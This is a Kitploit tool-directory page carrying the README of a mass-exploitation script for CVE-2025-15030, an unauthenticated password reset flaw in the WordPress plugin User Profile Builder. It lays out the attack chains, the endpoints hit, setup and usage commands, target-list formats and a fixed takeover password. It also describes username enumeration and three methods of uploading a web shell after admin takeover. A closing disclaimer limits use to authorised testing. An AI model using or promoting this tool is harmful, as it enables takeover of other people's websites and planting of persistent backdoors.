Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-15030 — User Profile Builder < 3.15.2 - Unauthenticated Arbitrary Password Reset | Kitploit
Tools/GitHubGitHub/nxploited/cve-2025-15030
Password AttacksVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRed Teaming
GitHubnxploited/cve-2025-15030

CVE-2025-15030

User Profile Builder < 3.15.2 - Unauthenticated Arbitrary Password Reset

View Repository
114 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2025-15030

User Profile Builder < 3.15.2 - Unauthenticated Arbitrary Password Reset

CVE-2025-15030

User Profile Builder — Unauthenticated Password Reset → Admin Takeover + Shell Upload

root@kitploit:~
 ____  _     _____      ____  ____  ____  ____        _  ____  ____ _____  ____
/   _\/ \ |\/  __/     /_   \/  _ \/_   \/ ___\      / \/ ___\/  _ \\__  \/  _ \
|  /  | | //|  \ _____  /   /| / \| /   /|    \_____ | ||    \| / \|  /  || / \|
|  \__| \// |  /_\____\/   /_| \_/|/   /_\___ |\____\| |\___ || \_/| _\  || \_/|
\____/\__/  \____\     \____/\____/\____/\____/      \_/\____/\____//____/\____/

CVE CVSS Plugin Auth Python Author


❶ Vulnerability

Root Cause:
The Profile Builder plugin's password recovery flow (action2=recover_password2) does not properly validate the reset key or enforce token expiry. By submitting a crafted POST with a valid password_recovery_nonce_field2 extracted from the reset page, an unauthenticated attacker can set a new password for any WordPress user — including administrators — knowing only their username. No email interaction or valid reset token is required.


❷ What the Tool Does

This tool implements two independent attack chains against each target, both followed by optional shell deployment:

root@kitploit:~
┌────────────────────────────────────────────────────────────────────┐
│  CHAIN 1 · CORE  (wp-login native reset abuse)                    │
│                                                                    │
│  POST /wp-login.php?action=lostpassword  (trigger reset)          │
│  GET  /wp-login.php?action=rp&key=...    (follow reset link)      │
│  POST /wp-login.php?action=resetpass     (inject new password)    │
│  Enumerate usernames  →  brute strict login  →  verify /wp-admin/ │
├────────────────────────────────────────────────────────────────────┤
│  CHAIN 2 · PB  (Profile Builder reset-from-link)                  │
│                                                                    │
│  Load reset URLs from pb_reset_links.txt                          │
│  GET  <reset_url>  →  extract nonce + userData                    │
│  POST action2=recover_password2  →  set new password              │
│  Strict login  →  verify /wp-admin/ access                        │
├───────────────────────────────────────────────────────────��────────┤
│  SHELL UPLOAD  (runs after any confirmed admin hit)               │
│                                                                    │
│  Method 1  →  plugin-install.php upload  (Nxploited.zip)          │
│  Method 2  →  REST API  /wp-json/wp/v2/plugins                    │
│  Method 3  →  Plugin/Theme editor  (write Nx.php directly)        │
│  Verify    →  GET /wp-content/plugins/Nxploited/Nx.php            │
│  Log       →  scan_results/shells.txt                             │
└────────────────────────────────────────────────────────────────────┘

❸ Setup

root@kitploit:~
git clone https://github.com/Nxploited/CVE-2025-15030.git
cd CVE-2025-15030
pip install -r requirements.txt

requirements.txt

root@kitploit:~
requests>=2.28.0
urllib3>=1.26.0
colorama>=0.4.6
rich>=13.0.0

Place Nxploited.zip in the same directory as the script to enable shell upload. The tool runs without it but shell deployment will be skipped.


❹ Usage

root@kitploit:~
python3 CVE-2025-15030.py

Prompts

root@kitploit:~
Targets list file (one URL per line):            list.txt
Threads (concurrent sites) [5]:                  5
HTTP timeout (seconds) [10]:                     10
Output file for core wp-login reset successes:   scan_results/wp_login_reset_success.txt
Output file for Nxploited shells:                scan_results/shells.txt
Profile Builder reset links file (optional):     pb_reset_links.txt

Password used for all reset and login attempts is fixed internally:

root@kitploit:~
Nxploited_adminSA

❺ Input Files

list.txt — Targets (required)

root@kitploit:~
https://target1.com
target2.com
http://target3.com/wordpress

pb_reset_links.txt — Profile Builder Reset Links (optional)

If you have captured password reset email links from Profile Builder, paste them here one per line. The tool will:

  1. Load the reset page and extract password_recovery_nonce_field2 + userData
  2. Submit the new password via action2=recover_password2
  3. Attempt strict admin login with the new credentials
root@kitploit:~
https://target1.com/wp-login.php?action=rp&key=ABC123&login=admin
https://target2.com/?page_id=5&action=recover_password&key=XYZ&login=editor

❻ Username Enumeration

The tool automatically discovers WordPress usernames using three methods before attempting login:

MethodEndpoint
Author redirect/?author=1 →

❼ Admin Verification

Every login attempt is strictly verified before writing results. The tool checks:

root@kitploit:~
/wp-admin/index.php       →  id="adminmenu", id="wpadminbar"
/wp-admin/users.php       →  users.php indicator
/wp-admin/plugins.php     →  plugins.php indicator
/wp-admin/plugin-install.php  →  upload-plugin, plugin-install-tab

A result is only written to disk when ≥ 3 admin markers are confirmed.


❽ Shell Upload Methods

After a confirmed admin session the tool attempts three escalation methods in order:

Shell verification: GET /wp-content/plugins/Nxploited/Nx.php → HTTP 200


❾ Output Files

FileContents
scan_results/wp_login_reset_success.txtConfirmed admin hits via CORE chain
scan_results/shells.txtDeployed shell URLs with credentials

Format

wp_login_reset_success.txt

root@kitploit:~
[2025-06-01T14:22:10] https://target.com | https://target.com/wp-login.php | account=admin  pass=Nxploited_adminSA

shells.txt

root@kitploit:~
[2025-06-01 14:22:18] https://target.com - admin:Nxploited_adminSA - SHELL: https://target.com/wp-content/plugins/Nxploited/Nx.php

❿ Terminal Output Format

root@kitploit:~
[host]  https://target.com
CORE: KEY=OK  , RESET=OK  , ACCESS=1   |
PB:   KEY=FAIL, RESET=FAIL, ACCESS=0   |
SHELL: OK       | LOGIN: https://target.com/wp-login.php

⓫ Author

root@kitploit:~
Nxploited (Khaled Alenazi)
GitHub   →  https://github.com/Nxploited
Telegram →  @KNxploited

GitHub Telegram


⓬ Disclaimer

root@kitploit:~
FOR AUTHORIZED SECURITY RESEARCH AND EDUCATION ONLY.

The author bears zero responsibility for any use of this tool
against systems the operator does not own or have explicit
written permission to test.

Unauthorized use violates the CFAA, CMA, and equivalent laws
worldwide and may result in criminal prosecution.

You alone are responsible for your actions.

© 2025 Nxploited · User Profile Builder < 3.15.2 · Fixed in 3.15.2

Download Tool
FieldDetail
CVECVE-2025-15030
CVSS9.8 CRITICAL — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
ADPCISA-ADP
PluginUser Profile Builder for WordPress
AffectedAll versions before 3.15.2
AuthNone required
TypeImproper Password Reset — Unauthenticated Account Takeover
CWECWE-640 · Weak Password Recovery Mechanism
/?author=10
REST API/wp-json/wp/v2/users
Hostname heuristicFirst label of domain name
Default fallbackadmin always included
MethodEndpointTrigger
Plugin Upload/wp-admin/update.php?action=upload-pluginUploads Nxploited.zip via install form
REST API/wp-json/wp/v2/pluginsDirect ZIP POST
Editor Write/wp-admin/plugin-editor.phpWrites Nx.php via file editor
Column
Meaning
KEYReset flow initiated successfully
RESETNew password accepted by server
ACCESSNumber of confirmed admin logins
SHELLOK if Nx.php is confirmed live